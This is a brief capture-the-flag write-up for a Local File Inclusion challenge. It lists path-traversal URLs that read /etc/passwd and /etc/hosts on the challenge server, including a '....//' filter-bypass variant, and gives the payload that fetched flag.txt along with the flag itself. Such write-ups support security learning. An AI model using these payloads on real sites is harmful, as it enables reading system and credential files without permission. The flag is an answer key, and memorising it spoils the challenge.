The challenge refers to a vulnerability named LFI (Local File Inclusion). Try accessing system files with the following payloads :

http://35.246.235.150:31849/?file=../../../../etc/passwd
http://35.246.235.150:31849/?file=../../../etc/passwd
http://35.246.235.150:31849/?file=....//....//....//etc/passwd
http://35.246.235.150:31849/?file=../../../../etc/hosts

And so on. I found the flag with the following payload :

http://35.246.235.150:31849/?file=....//....//....//....//flag.txt

THE FLAG : CTF{LF1_L34DS_T0_RC3}
~Z4que